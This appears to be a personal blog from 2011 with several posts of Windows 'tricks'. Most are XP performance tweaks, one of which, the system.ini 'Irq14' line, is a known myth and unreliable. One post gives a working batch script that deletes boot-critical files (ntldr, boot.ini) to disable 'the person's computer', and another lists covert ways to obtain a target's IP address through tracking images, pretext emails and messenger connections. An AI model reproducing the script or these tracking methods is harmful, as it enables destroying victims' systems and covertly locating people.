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Increase Hard Drive Speeds in XP…R’s

In High Tech on March 17, 2011 by erishi


 

Simple Tweaking and also works with Windows 2003…

NOTE: I only recommend doing this if you have 256mb of RAM or higher.

STEP 1: Start > Run > then type SYSEDIT.EXE

STEP 2: Expand the system.ini file window.

STEP 3: Scroll down almost to the end of the file till you find a line called [386enh]

STEP 4: Press Enter to make one blank line, and in that line type

Irq14=4096

NOTE: The above info for the new line is case sensitive

STEP 6: Select File > Save

STEP 7: Close SYSEDIT and reboot your computer


NOTE: Once your computer has been rebooted, you should notice a change in your hdd’s performance. I have tested this on IDE hdd’s and it has worked fine. I’ve read in a few locations online that it could possibly work for SCSI disks but I don’t have any to attempt the theory. If someone does test it and can vouch for the SCSI’s improved performance, please let me know.

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How To ShutDown A Computer Forever…R’s

In High Tech on March 17, 2011 by erishi


@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open notepad And Copy The above given Code And Save It As .BAT File..

This Will Shut Down The Person's Computer.It Shuts It Off Once and Deletes The Files Needed to Reboot and Restart.

REMEMBER - DO NOT OPEN THE FILE.



YOU WON'T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

 

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How to know someone’s IP Address…R’s

In High Tech on March 5, 2011 by erishi


 

In many cases, it’s desired to know the IP address of someone in the reconnaissance phase. The first question to ask is what information do I have about this person. In most cases it’s possible that you have the email or IM of the target. First let’s discuss the methods:

Method 1

if you have a web server hosted someplace where you can see its logs then it’s very easy to send someone a URL of an image or any webpage hosted on your web server (http://123.123.123.123/veryfunnyimage.jpg) whenever this page is visited the web server keeps a log of who visited that page (IP address, time, browser, OS … and lots of more info) where you can check later to collect IP addresses.

Method 2

sometimes people get freaked out from addresses that have ip addresses in the URL so having your webserver with a domain name would really help the person you sent the URL to press on the link (www.mywebsite.com/veryfunnyimage.jpg)

Method 3

Some paranoid people don’t open links to unknown sites. so here comes the cool trick. you can embed the image in a post of yours in a known site that allows HTML tags with image sources like < img src = (your image URL). in this case the URL you are going to send to the person is a link to a known website but the website contains another link to your web server. And whenever someone views this page on the known website, the “img src” link is invoked and voila!, you have a log entry on your webserver.

Method 4

Some Ultra paranoid people don’t open links at all!! for these people I use my old trick. I send an email to the target that looks important to him (depending on the target actually and what’s important to him). This email is in HTML format and contains a tag that links to an image on my webserver (probably a white image not to attract attention). Now upon merely opening the email, my webserver is invoked and a log entry is saved about the persons current IP address.

Note that this method only works if the email client allows images to be displayed (gmail disable that by default)

Method 5

A more faster approach is IM. If you have the IM of the target, then it’s possible that you try to send him a file (not malicious, a picture or smthng). upon sending the file, a direct connection is established between you and the target. with a simple connection monitoring application (e.g.netstat on windows), you can know the Ip address.

Method 6

Some paranoid people don’t accept files! so another trick in case of MSN is background sharing. the default for MSN is to acceptbackgrounds shared by others. Actually background sharing performs file sending if the background is not one of the defaultbackgrounds. So the trick is to set your background for the IM to a cool pic from your computer and share it. if the default settingwas not altered on your target’s IM, then he will automatically accept it right away and a connection is opened. here comes again the connection monitoring app where you can identify the new connection and extract the IP add of the target.

Well those are one’s that I used .. do you have any other methods ?? sometimes I only have the username on a forum or website. Any clues?

Method 7

In MSN messenger, if u don’t have the display picture of the person you’re talking to, the messenger will try to download it by default. this cause the the MSN to open a direct connection. Using a sniffing tool like wireshark will allow you to know the IP of the remote person.So basically if you don’t have his display picture and you opened the chat window you’ll get your log entry. You can either convince the target to change his/her display picture or you can remove the your local directory that caches the display pictures for all contacts (located in application data folder for the msn) to force the messenger to redownload the picture.

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Speed Up Browsing…R’s

In High Tech on March 2, 2011 by erishi


When you connect to a web site your computer sends information back and forth. Some of this information deals with resolving the site name to an IP address, the stuff that TCP/IP really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although Windows XP and Windows XP have a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]

“CacheHashTableBucketSize”=dword:00000001

“CacheHashTableSize”=dword:00000180

“MaxCacheEntryTtlLimit”=dword:0000fa00

“MaxSOACacheEntryTtlLimit”=dword:0000012d
Make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Merge it into the registry.

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MAKE YOUR MENUS LOAD FASTER…R’s

In High Tech on March 2, 2011 by erishi


This is one of my favorite tweaks as it makes a huge difference to how fast your machine will ‘feel’. What this tweak does is remove the slight delay between clicking on a menu and XP displaying the menu.
Go to Start then RunType ‘Regedit’ then click ‘Ok’Find “HKEY_CURRENT_USER\Control Panel\Desktop\”Select “MenuShowDelay”Right click and select “Modify’Reduce the number to around “100”
This is the delay time before a menu is opened. You can set it to “0” but it can make windows really hard to use as menus will open if you just look at them – well move your mouse over them anyway. I tend to go for anywhere between 50-150 depending on my mood.